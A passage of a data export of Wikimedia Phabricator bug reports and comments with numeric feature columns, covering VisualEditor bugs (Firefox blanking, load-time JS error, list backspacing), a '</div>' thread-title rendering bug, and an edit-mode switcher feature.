Yes. I have to add that to my configuration to replicate this bug.",,,1367358730,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,18.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,4.0,4.0,0.0,7.0,18.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.7857142857142857,"(In reply to comment #1)
QUOTE
QUOTE


Yes. I have to add that to my configuration to replicate this bug."
215414,"Thread title containing ""</div>"" destroys entire page with $wgUseTidy = true","@Krenair: You change the summary to include ""with wgUseTidy = true;"" Are you saying that when Tidy is disabled this bug does not happen?

Seems more like the opposite?",,,1367355713,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-o6h5thx2nxd7xpm2ferq,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,14.0,6.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,3.0,6.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,3.9722222222222223,0.9166666666666666,"SCREEN_NAME: You change the summary to include ""with wgUseTidy = true;"" Are you saying that when Tidy is disabled this bug does not happen?

Seems more like the opposite?"
49834,VisualEditor: Blanked page content in edit mode using Firefox,"VisualEditor (50e8693)
Parsoid (ba0b080)
MW: 1.22/wmf2 (814f75e)

While editing a page in Firefox 20.0, the existing page content is blank in the editor.

The issues seems to be an issue with Firefox only, as Chrome and Safari work as expected.

--------------------------
**Version**: unspecified
**Severity**: critical
**OS**: Mac OS X 10.7
**Platform**: Macintosh",High,80.0,1367254380,1367288171.0,PHID-USER-evwol34rsld7viokxokd,False,,False,PHID-TASK-njwlhw4yezfqfiviad2b,task_description,resolved,True,c1,1,False,False,True,-9,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,18.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.4468085106382977,0.5957446808510638,"VisualEditor (50e8693)
Parsoid (ba0b080)
MW: 1.22/wmf2 (814f75e)

While editing a page in Firefox 20.0, the existing page content is blank in the editor.

The issues seems to be an issue with Firefox only, as Chrome and Safari work as expected.

--------------------------
**Version**: unspecified
**Severity**: critical
**OS**: Mac OS X 10.7
**Platform**: Macintosh"
212421,VisualEditor: Blanked page content in edit mode using Firefox,We have identified this bug and fixed it in live (for mediawiki.org - other wikis will be going out in the next few days); sorry for the difficulty.,,,1367288171,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njwlhw4yezfqfiviad2b,task_subcomment,,True,c1,1,True,,,-9,,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,16.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.78125,0.90625,We have identified this bug and fixed it in live (for mediawiki.org - other wikis will be going out in the next few days); sorry for the difficulty.
212417,VisualEditor: Blanked page content in edit mode using Firefox,"Is this on the Wikimedia cluster or locally? If on the cluster, is it on all pages or just one or two?",,,1367275473,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njwlhw4yezfqfiviad2b,task_subcomment,,True,c1,1,True,,,-9,,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,4.0,12.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,16.0,4.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.24,0.72,"Is this on the Wikimedia cluster or locally? If on the cluster, is it on all pages or just one or two?"
49813,VisualEditor: Clicking away before VE loads completely throws JS error,"VE error when not completely loaded

on any page editable by VE:

invoke VE
immediately click Preferences or other live link

an alert appears saying ""Error loading data from server: error. Would you like to retry?""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10400}",High,80.0,1367196780,1368885099.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-s7xxo6pqgoai7qxiqran,task_description,resolved,True,c1,1,False,False,True,-9,,1.0,0.0,1.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,5.0,4.0,1.0,3.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.77027027027027,0.6621621621621622,"VE error when not completely loaded

on any page editable by VE:

invoke VE
immediately click Preferences or other live link

an alert appears saying ""Error loading data from server: error. Would you like to retry?""

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10400}"
211076,VisualEditor: Clicking away before VE loads completely throws JS error,Merged; will go out with wmf5.,,,1368885099,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
211073,VisualEditor: Clicking away before VE loads completely throws JS error,Related URL: https://gerrit.wikimedia.org/r/64333 (Gerrit Change Ide5def0e983bab49108b40008fc170957c7fc2a2),,,1368809323,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ide5def0e983bab49108b40008fc170957c7fc2a2)
211070,VisualEditor: Clicking away before VE loads completely throws JS error,"Actually, this looks like a different bug (but in the same loop).",,,1368655903,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,"Actually, this looks like a different bug (but in the same loop)."
211069,VisualEditor: Clicking away before VE loads completely throws JS error,"From Ed's comment:

In ve.init.mw.ViewPageTarget.prototype.tearDownToolbar, this.toolbar is
undefined if the editor hasn't finished loading.",,,1368654683,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.608695652173913,0.9565217391304348,"From Ed's comment:

In ve.init.mw.ViewPageTarget.prototype.tearDownToolbar, this.toolbar is
undefined if the editor hasn't finished loading."
211065,VisualEditor: Clicking away before VE loads completely throws JS error,*** Bug 48520 has been marked as a duplicate of this bug. ***,,,1368654670,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s7xxo6pqgoai7qxiqran,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48520 has been marked as a duplicate of this bug. ***
49795,VisualEditor: Backspace over lists doesn't delete the LIs,"Hi,

The problem is that when I have created a bullet list in Visual Editor and try to erase back the text using Backspaces, the numbers or bullet points don't delete even if I have deleted the whole text. Here is a trivial demonstration :

1. Hello1
2. Hello2
3. Hello3

Now when I try to delete it from the Hello3 using backspaces, all the text upto first bullet is deleted, but those bullet points are left as it is. 

1.

2.

3.


Images:

https://docs.google.com/file/d/0B3eGCB261PalaDhqa1ZhcmFPUk0/edit?usp=sharing
https://docs.google.com/file/d/0B3eGCB261PalbndsZEFSdXpEZGM/edit?usp=sharing

Tested on Firefox 20.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367169780,1368565464.0,PHID-USER-d3oiyxwdmebcjszfff7w,False,,False,PHID-TASK-4rlrewbrchltpzty4e37,task_description,resolved,True,c1,1,False,False,True,-10,,0.5,0.0,0.0,1.5,0.5,3.0,1.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,1.5,0.0,3.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,4.5,3.0,12.5,2.0,1.5,6.0,0.0,0.0,0.0,0.0,2.0,0.5,3.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,3.4663081650570673,0.6662642669007901,"Hi,

The problem is that when I have created a bullet list in Visual Editor and try to erase back the text using Backspaces, the numbers or bullet points don't delete even if I have deleted the whole text. Here is a trivial demonstration :

1. Hello1
2. Hello2
3. Hello3

Now when I try to delete it from the Hello3 using backspaces, all the text upto first bullet is deleted, but those bullet points are left as it is. 

1.

2.

3.


Images:

URL
URL

Tested on Firefox 20.

--------------------------
**Version**: unspecified
**Severity**: normal"
209954,VisualEditor: Backspace over lists doesn't delete the LIs,And now fixed in wmf4.,,,1368565464,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,And now fixed in wmf4.
209948,VisualEditor: Backspace over lists doesn't delete the LIs,This is now broken again in master. :-(,,,1368211380,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,This is now broken again in master. :-(
209942,VisualEditor: Backspace over lists doesn't delete the LIs,*** Bug 48293 has been marked as a duplicate of this bug. ***,,,1368129697,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48293 has been marked as a duplicate of this bug. ***
209937,VisualEditor: Backspace over lists doesn't delete the LIs,Wmf4 which will begin deployment on 13 May. :-),,,1367373980,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,1.0,Wmf4 which will begin deployment on 13 May. :-)
209929,VisualEditor: Backspace over lists doesn't delete the LIs,"Fixed here: https://gerrit.wikimedia.org/r/61520
It is not released yet, James, can you put appropriate milestone tag?",,,1367359540,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,10.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.95,0.95,"Fixed here: GERRIT_URL
It is not released yet, James, can you put appropriate milestone tag?"
209923,VisualEditor: Backspace over lists doesn't delete the LIs,Thanks for the bug report; I can confirm in Chrome and Safari as well.,,,1367170322,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4rlrewbrchltpzty4e37,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,1.0,Thanks for the bug report; I can confirm in Chrome and Safari as well.
49779,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Add button to WikiEditor and VisualEditor for switching back and forth.

* Only shown if in WE you have VE enabled (otherwise don't show)
* If no changes, switch immediately
* If there are changes, prompt the user (with the same OOUI message dialog we use in VE) whether to switch with or without their changes",High,80.0,1367087280,1446646641.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-rrfiavqqnofzrlok2ea7,task_description,resolved,True,c1,1,True,True,False,-10,,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,1.0,1.0,3.0,0.0,9.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,15.0,6.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,6.0,18.0,7.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.8507462686567164,0.7611940298507462,"Add button to WikiEditor and VisualEditor for switching back and forth.

* Only shown if in WE you have VE enabled (otherwise don't show)
* If no changes, switch immediately
* If there are changes, prompt the user (with the same OOUI message dialog we use in VE) whether to switch with or without their changes"
557934,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250965 merged by jenkins-bot:
Target init: Add edit mode switch icons to VE and WE toolbars

[[https://gerrit.wikimedia.org/r/250965]]",,,1446648058,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5357142857142856,0.8928571428571429,"Change 250965 merged by jenkins-bot:
Target init: Add edit mode switch icons to VE and WE toolbars

[[GERRIT_URL]]"
557919,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250965 had a related patch set uploaded (by Jforrester):
Target init: Add edit mode switch icons to VE and WE toolbars

[[https://gerrit.wikimedia.org/r/250965]]
",,,1446646795,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,6.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.696969696969697,0.9090909090909091,"Change 250965 had a related patch set uploaded (by Jforrester):
Target init: Add edit mode switch icons to VE and WE toolbars

[[GERRIT_URL]]
"
557914,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250939 merged by jenkins-bot:
Target init: Add edit mode switch icons to VE and WE toolbars

[[https://gerrit.wikimedia.org/r/250939]]",,,1446646490,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5357142857142856,0.8928571428571429,"Change 250939 merged by jenkins-bot:
Target init: Add edit mode switch icons to VE and WE toolbars

[[GERRIT_URL]]"
557837,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"More prominent VE switcher:
{F2913511}

WikiEditor switcher (top right):
{F2913515}",,,1446632107,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-rrfiavqqnofzrlok2ea7,task_subcomment,,True,c1,3,True,,,122,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.85,0.8,"More prominent VE switcher:
{F2913511}

WikiEditor switcher (top right):
{F2913515}"
557836,Provide a way for the user to switch between VisualEditor and wikitext source editor modes without saving,"Change 250939 had a related patch set uploaded (by Esanders):
Target init: Add edit mode switch icons to VE and WE toolbars

[[https://gerrit.wikimedia.org/r/250939]]
